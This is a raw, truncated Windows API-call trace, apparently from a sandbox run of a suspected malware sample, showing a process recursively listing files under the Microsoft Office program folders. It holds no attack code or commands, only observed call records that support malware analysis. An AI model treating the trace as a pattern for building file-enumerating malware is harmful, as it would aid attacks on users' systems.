[0088.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0088.979] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0088.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee9b8) returned 1 [0088.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.980] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa3ade0, ftCreationTime.dwHighDateTime=0x1d5685c, ftLastAccessTime.dwLowDateTime=0xba6962b0, ftLastAccessTime.dwHighDateTime=0x1d5a0d3, ftLastWriteTime.dwLowDateTime=0xba6962b0, ftLastWriteTime.dwHighDateTime=0x1d5a0d3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mhplotvelvet.exe", cAlternateFileName="")) returned 1 [0088.980] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacdd5010, ftCreationTime.dwHighDateTime=0x1d57be5, ftLastAccessTime.dwLowDateTime=0xd4d2c90, ftLastAccessTime.dwHighDateTime=0x1d5a9f9, ftLastWriteTime.dwLowDateTime=0xd4d2c90, ftLastWriteTime.dwHighDateTime=0x1d5a9f9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="threshold.exe", cAlternateFileName="")) returned 1 [0088.980] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacdd5010, ftCreationTime.dwHighDateTime=0x1d57be5, ftLastAccessTime.dwLowDateTime=0xd4d2c90, ftLastAccessTime.dwHighDateTime=0x1d5a9f9, ftLastWriteTime.dwLowDateTime=0xd4d2c90, ftLastWriteTime.dwHighDateTime=0x1d5a9f9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="threshold.exe", cAlternateFileName="")) returned 0 [0088.980] GetLastError () returned 0x12 [0088.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.980] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0088.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0088.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0088.981] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0088.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0088.981] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office" (normalized: "c:\\program files (x86)\\microsoft office"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office" (normalized: "c:\\program files (x86)\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0088.981] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0088.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.982] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0088.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.982] NtClose (Handle=0x168) returned 0x0 [0088.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0088.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0088.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0088.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.983] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9040 [0088.983] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.983] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb05199e0, ftCreationTime.dwHighDateTime=0x1d5b82b, ftLastAccessTime.dwLowDateTime=0x2b219310, ftLastAccessTime.dwHighDateTime=0x1d5b876, ftLastWriteTime.dwLowDateTime=0x2b219310, ftLastWriteTime.dwHighDateTime=0x1d5b876, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0088.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.985] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0088.985] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f79c40, ftCreationTime.dwHighDateTime=0x1d54f7a, ftLastAccessTime.dwLowDateTime=0xf3b36d20, ftLastAccessTime.dwHighDateTime=0x1d5ae40, ftLastWriteTime.dwLowDateTime=0xf3b36d20, ftLastWriteTime.dwHighDateTime=0x1d5ae40, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="struggle_invited_gender.exe", cAlternateFileName="")) returned 1 [0088.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.986] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f79c40, ftCreationTime.dwHighDateTime=0x1d54f7a, ftLastAccessTime.dwLowDateTime=0xf3b36d20, ftLastAccessTime.dwHighDateTime=0x1d5ae40, ftLastWriteTime.dwLowDateTime=0xf3b36d20, ftLastWriteTime.dwHighDateTime=0x1d5ae40, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="struggle_invited_gender.exe", cAlternateFileName="")) returned 0 [0088.986] GetLastError () returned 0x12 [0088.986] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0088.986] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0088.986] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.986] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb05199e0, ftCreationTime.dwHighDateTime=0x1d5b82b, ftLastAccessTime.dwLowDateTime=0x2b219310, ftLastAccessTime.dwHighDateTime=0x1d5b876, ftLastWriteTime.dwLowDateTime=0x2b219310, ftLastWriteTime.dwHighDateTime=0x1d5b876, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0088.986] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0088.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14" (normalized: "c:\\program files (x86)\\microsoft office\\office14"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0088.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14" (normalized: "c:\\program files (x86)\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0088.987] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0088.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.987] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0088.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.988] NtClose (Handle=0x168) returned 0x0 [0088.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0088.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0088.989] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0088.989] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.989] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0088.989] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd50800, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x219f7cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fd50800, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xd388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0088.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67b88000, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x21b02690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67b88000, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xdf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="")) returned 1 [0088.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.992] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8cd1e00, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd2e133c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8cd1e00, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x14768, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0088.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7c7400, ftCreationTime.dwHighDateTime=0x1cbc9fa, ftLastAccessTime.dwLowDateTime=0xadbb9ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb7c7400, ftLastWriteTime.dwHighDateTime=0x1cbc9fa, nFileSizeHigh=0x0, nFileSizeLow=0x406590, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0088.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.995] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a783200, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xae0eeec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5a783200, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x2ff60, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0088.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.996] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930ea300, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadda9080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x930ea300, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x62978, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0088.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.997] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4e2500, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x21ccb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf4e2500, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x13180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0088.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.999] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994dc00, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x21cf1870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2994dc00, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x11580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0088.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0088.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.000] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae1d400, ftCreationTime.dwHighDateTime=0x1cb7015, ftLastAccessTime.dwLowDateTime=0xadc06160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ae1d400, ftLastWriteTime.dwHighDateTime=0x1cb7015, nFileSizeHigh=0x0, nFileSizeLow=0x14d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0089.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.002] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2deba300, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2deba300, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="")) returned 1 [0089.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.004] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703f00, ftCreationTime.dwHighDateTime=0x1ca9139, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 